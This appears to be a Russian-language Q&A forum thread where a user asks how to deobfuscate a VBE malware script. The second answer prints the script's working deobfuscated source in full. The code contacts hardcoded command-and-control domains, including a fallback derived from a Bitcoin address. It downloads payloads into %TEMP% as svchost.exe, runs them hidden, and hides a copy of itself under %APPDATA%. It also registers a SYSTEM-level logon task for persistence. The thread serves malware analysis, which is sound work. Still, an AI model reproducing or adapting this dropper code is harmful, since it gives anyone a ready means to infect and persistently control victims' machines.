Многогократно обфусцированная VBA-малварь, как её расколоть?

Question

[ivdok]

Копаясь в файлах, нашел непонятный VBA-скрипт, который несколько раз подряд зашифрован. Изначально он был закодированным, т.е. в формате vbe, но после того, как был найден скриптик для обратной распаковки, это не было больше проблемой. Но открыв его, я немного офигел. Понятно, что используется широкоприменимый приём, навроде "PHP eval(), в котором происходит суммирование символов, которое в итоге складывается во вредоносный код". Проблема в том, что используется немного нетривиальный подход. Наверняка есть способ задать эту кашу на интерпретацию, но без выполнения функции Execute(). К сожалению, я понятия не имею, как это сделать, поэтому прошу вашей помощи.

P.S. Случай не первый, но в моём конкретном случае нигде ещё не видел такого.
P.P.S. Уже на virustotal, появился три дня назад.

Comments

[h8nor]

Та-дам: habrahabr.ru/company/eset/blog/246945

Answer 1

[Николай Ким]

Похоже, внутри Execute просто собирается исходник и выполняется.
Можно содержимое просто записать в переменную и вывести в файл, как-то так:

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("D:\Temp.txt")

Dim myText: myText = GetText
objFile.Write myText

objFile.Close

Function GetText
  	GetText = "b" + "o" + chr( 1095348/9868 ) & "l" + "E" ...
End Function

Comments

[ivdok]

Спасибо, не знал, как в VB это делается.

[h8nor]

Спасибо, Николай! И я не знал; видимо, я ламо.

Аперитив: cyberhound.ru/windows/polzovateli/zapretit-zapusk-...
Сначала я не обратил внимание на процедуру Execute(), которой нет в VBA, но есть в VBS. Таким способом текст из любого файла можно запустить, а, что касается VBA, хранить можно в бинарном виде. А если содержание файла менять не надо, его бинарный код можно вписать в модуль (тут нужно учесть ограничение VBA на количество строк в процедуре), написав пару простых функций.

[Николай Ким]

Дѣаволъ: Спасибо за ссылки на интересные материалы, особенно на политики, не знал что есть такая возможность. Пожалуй, после всего что было видано в этом вопросе, стоит внести в неё WSH :-)

[h8nor]

Николай Ким: А также regedit и исполняемые файлы. И никогда не работать под админской учёткой (пароль подбирается за 3 дня на этом же компьютере) ;)

[Николай Ким]

Дѣаволъ: заведу-ка я себе «простого» пользователя... :-D

[ivdok]

Дѣаволъ: Честно говоря, эту систему не жалко - я ею только для некоторых упрямых програм использую, которые вайну не по зубам. Но вообще я так предполагал, что VB(A) для десктопа вымер, даже в качестве вредоносов. Ах нет, поди-ж...
Про блокировку regedit тоже спасибо - вот как раз случаи его блокировки я видел, и теперь знаю, как подкопаться к нему в случае, если на каком-то из пк снова увижу такое.

Answer 2

[Андрей Голубков]

boolExitFlag = False
Execute(opencl = WScript.CreateObject( "WScript.She"+"ll" ).ExpandEnvironmentStrings("%W"+"IND"+"IR%") & "\sy"+"stem32\OpenCL.d"+"ll") 
if fileExist(opencl) then
	call Step1
	Do
		If Ping("8"+".8"+".8."+"8") Then
			Call Main              
			boolExitFlag = True
		End If
		WScript.sleep 1000
	Loop while boolExitFlag <> True
end if
Const id = "9846f2d7e24272f38e6f66bf0ff8d7cf.com"
Const ida = "b6cbc7c8b7f9af070b119184fc26e610.com"
Const idb = "1GgG2kjrH7YzAq4cr4vZaKrpHYxnbHkFPm"
sub Main
	host = id
	files_list_string = false
	if Ping(id) then
		files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
	End if
	if (files_list_string = False) Then
		host = ida
		if Ping(ida) then
			files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
		End if
		if (files_list_string = False) Then
				idb = idb + CStr(CInt(GetBalanceBlockExplorer(idb))) + ".com"
				host = idb
				if Ping(idb) then
					files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
				End if
				if (files_list_string = False) Then
					die
				end if
		End If
	End If
	files_list = Split(crypt(files_list_string), ";")
	Execute("t" + "m" + chr( 902272/8056 ) & " " + "=" + chr( 8899-8867 ) & "W" + "S" + chr( -7136+7235 ) & "r" + "i" + chr( 800800/7150 ) & "t" + "." + chr( -2736+2803 ) & "r" + "e" + chr( 6538-6441 ) & "t" + "e" + chr( 9157-9078 ) & "b" + "j" + chr( -6763+6864 ) & "c" + "t" + chr( 337440/8436 ) & " " + chr( 35836/1054 ) & chr( -5755+5842 ) & "S" + "c" + chr( -4824+4938 ) & "i" + "p" + chr( 5994-5878 ) & "." + "S" + chr( -909+1013 ) & "e" + "l" + chr( 246132/2279 ) & chr( 140454/4131 ) & " " + chr( -9918+9959 ) & "." + "E" + chr( 1173480/9779 ) & "p" + "a" + chr( 9656-9546 ) & "d" + "E" + chr( 534600/4860 ) & "v" + "i" + chr( 4527-4413 ) & "o" + "n" + chr( 1081-972 ) & "e" + "n" + chr( 323-207 ) & "S" + "t" + chr( 22116/194 ) & "i" + "n" + chr( -6780+6883 ) & "s" + "(" + chr( 3398-3364 ) & "%" + "T" + chr( 223008/3232 ) & "M" + "P" + chr( 898-861 ) & chr( 3949-3915 ) & ")" +  vbcrlf  ) 
	cmd =  tmp & "\svchost.exe"
	KillProccess cmd
	WScript.sleep 5000
	for i = 0 to UBound(files_list)-1
		file_name = files_list(i)
		download "http://m."+host+file_name, tmp + "/"+ getFileName(file_name)
	next
	params = files_list(UBound(files_list))
	shell params
end sub

Sub die
	WScript.Quit
End Sub

Function GetFirstMatch(PatternToMatch, StringToSearch)
	Dim regEx, CurrentMatch, CurrentMatches

	Set regEx = New RegExp
	regEx.Pattern = PatternToMatch
	regEx.IgnoreCase = True
	regEx.Global = True
	regEx.MultiLine = True
	Set CurrentMatches = regEx.Execute(StringToSearch)

	GetFirstMatch = ""
	If CurrentMatches.Count >= 1 Then
		Set CurrentMatch = CurrentMatches(0)
		If CurrentMatch.SubMatches.Count >= 1 Then
			GetFirstMatch = CStr(CurrentMatch.SubMatches(0))
		End If
	End If
	Set regEx = Nothing
End Function

function GetBalanceBlockExplorer(address)
	block_content = getContent("http://blockexplorer.com/address/"+address)
	if (block_content <> false) then
		GetBalanceBlockExplorer = "0" + Replace(GetFirstMatch("<td>(\d+(\.\d+)?)</td>\n</tr>\n</table>", block_content), ".", ",")
	else 
		GetBalanceBlockExplorer = false
	end if
end function

function getFileName(fullpath)
	arrNames = Split(fullpath, "/")
	intIndex = Ubound(arrNames)
	getFileName = arrNames(intIndex)
end function

Function getContent(url)
	Dim o
	Set o = CreateObject("MSXML2.XMLHTTP")
	o.open "GET", url, False
	On Error Resume Next
	o.send
	If o.status = 200 Then
		getContent = o.responseText
	Else
		getContent = False
	End If
End Function

function crypt(str)
	for i = 1 to Len(str)
		flag = Len(outout)
		temp = Asc(Mid(str, i, 1))
		If temp > 64 and temp < 78 Then outout = outout & Chr(temp +13) 
		If temp > 77 and temp < 90 Then outout = outout & Chr(temp -13) 
		If temp > 96 and temp < 110 Then outout = outout & Chr(temp +13)
		If temp > 109 and temp < 123 Then outout = outout & Chr(temp -13) 
		If Len(outout) = flag Then outout = outout & Chr(temp)
	Next
	crypt = outout
end function

Function Ping(strHost)
    Set objPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_PingStatus where address = '" & strHost & "'")
    z = 0
    Do    
        z = z + 1
        For Each objRetStatus In objPing        
            If IsNull(objRetStatus.StatusCode) Or objRetStatus.StatusCode <> 0 Then            
                PingStatus = False        
            Else
                PingStatus = True              
            End If      
        Next    
        wscript.sleep 200
        If z = 4 Then Exit Do
    Loop until PingStatus = True
    If PingStatus = True Then 
        Ping = True
    Else
        Ping = False
    End If
End Function

Function download(sFileURL, sLocation)
    
	Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
	objXMLHTTP.open "GET", sFileURL, false
	On Error Resume Next
	objXMLHTTP.send()
	do until objXMLHTTP.Status = 200 :  wscript.sleep(1000) :  loop
	If objXMLHTTP.Status = 200 Then
		Set objADOStream = CreateObject("ADODB.Stream")
		objADOStream.Open
		objADOStream.Type = 1
		objADOStream.Write objXMLHTTP.ResponseBody
		objADOStream.Position = 0    
        Set objFSO = Createobject("Scripting.FileSystemObject")
		If objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation, true
		Set objFSO = Nothing
		objADOStream.SaveToFile sLocation
		objADOStream.Close
		Set objADOStream = Nothing
		download = True
	Else
		download = False
	End if
	Set objXMLHTTP = Nothing
End Function

Function fileExist(filename)
	Set objFSO = Createobject("Scripting.FileSystemObject")
	fileExist = objFSO.FileExists(filename)
End Function

function folderExist(folder)
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	folderExist = objFSO.FolderExists(folder)
end function

sub createFolder(folder) 
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	if folderExist(folder) = false then 
	objFSO.CreateFolder folder
	end if
end sub

sub shell(cmd)
    dim objShell
    Set objShell = WScript.CreateObject( "WScript.Shell" )
    objShell.Run cmd, 0, false
    Set objShell = Nothing
end sub

sub copy(from_path, to_path)
	dim filesys
	set filesys=CreateObject("Scripting.FileSystemObject")
	If filesys.FileExists(from_path) Then
		On Error Resume Next
	   filesys.CopyFile from_path, to_path
	End If
end sub

sub hideFolder(folder)
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	Set objFolder = objFSO.GetFolder(folder)
	If objFolder.Attributes = objFolder.Attributes AND 2 Then
		objFolder.Attributes = objFolder.Attributes XOR 2 
	End If
end sub

FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)

	DIM objWMIService, strWMIQuery

	strWMIQuery = "Select * from Win32_Process where ExecutablePath like '" & strProcessName & "'"
	
	SET objWMIService = GETOBJECT("winmgmts:" _
		& "{impersonationLevel=impersonate}!\\" _ 
			& strComputer & "\root\cimv2") 


	IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN
		isProcessRunning = TRUE
	ELSE
		isProcessRunning = FALSE
	END IF

END FUNCTION

Sub KillProccess( myProcess )

    Dim blnRunning, colProcesses, objProcess
    blnRunning = False

    Set colProcesses = GetObject( "winmgmts:{impersonationLevel=impersonate}" ).ExecQuery( "Select * From Win32_Process", , 48 )
    For Each objProcess in colProcesses
        If LCase( myProcess ) = LCase( objProcess.ExecutablePath) Then
            blnRunning = True
            myProcess  = objProcess.ExecutablePath
            objProcess.Terminate()
        End If
    Next
End Sub

sub Step1
	Execute("b" + "a" + chr( 119715/1041 ) & "e" + "_" + chr( 457368/4484 ) & "o" + "l" + chr( -6439+6539 ) & "e" + "r" + chr( 9665-9633 ) & "=" + " " + chr( 338691/3893 ) & "S" + "c" + chr( -4893+5007 ) & "i" + "p" + chr( 5040-4924 ) & "." + "C" + chr( -8119+8233 ) & "e" + "a" + chr( 9623-9507 ) & "e" + "O" + chr( -9347+9445 ) & "j" + "e" + chr( 205-106 ) & "t" + "(" + chr( -2037+2069 ) & chr( 8839-8805 ) & "W" + chr( 6186-6103 ) & "c" + "r" + chr( 6941-6836 ) & "p" + "t" + chr( 179354/3899 ) & "S" + "h" + chr( 6717-6616 ) & "l" + "l" + chr( -8409+8443 ) & " " + ")" + chr( 288466/6271 ) & "E" + "x" + chr( -4027+4139 ) & "a" + "n" + chr( 6776-6676 ) & "E" + "n" + chr( 33+85 ) & "i" + "r" + chr( 108225/975 ) & "n" + "m" + chr( 5961-5860 ) & "n" + "t" + chr( -6543+6626 ) & "t" + "r" + chr( -9696+9801 ) & "n" + "g" + chr( -9803+9918 ) & "(" + chr( 332826/9789 ) & chr( 3051-3014 ) & "A" + "P" + chr( 521840/6523 ) & "D" + "A" + chr( 291900/3475 ) & "A" + "%" + chr( -9276+9310 ) & ")" + " " + chr( 270642/6294 ) & " " + chr( 147492/4338 ) & chr( 775376/8428 ) & "O" + "r" + chr( 573720/5464 ) & "g" + "i" + chr( 640970/5827 ) & chr( 7523-7489 ) &  vbcrlf  ) 
	createFolder(base_folder)
	hideFolder(base_folder)
	tmp_this = base_folder & "\update.vbe"
	copy WScript.ScriptFullName, tmp_this
	shell chr(115)+"chta"+chr(115)+"k"+chr(115)+" /create /"+chr(115)+"c onlogon /tn "+chr(79)+"rigin /rl highe"+chr(115)+"t /ru System /tr "+chr(34)+tmp_this+chr(34)
end Sub

Comments

[ivdok]

Спасибо, увлекательное чтиво :) Но, видимо, в некоторых местах ещё раз прошлись криптором. Но ничего опасного особо не вижу. Ещё раз спасибо!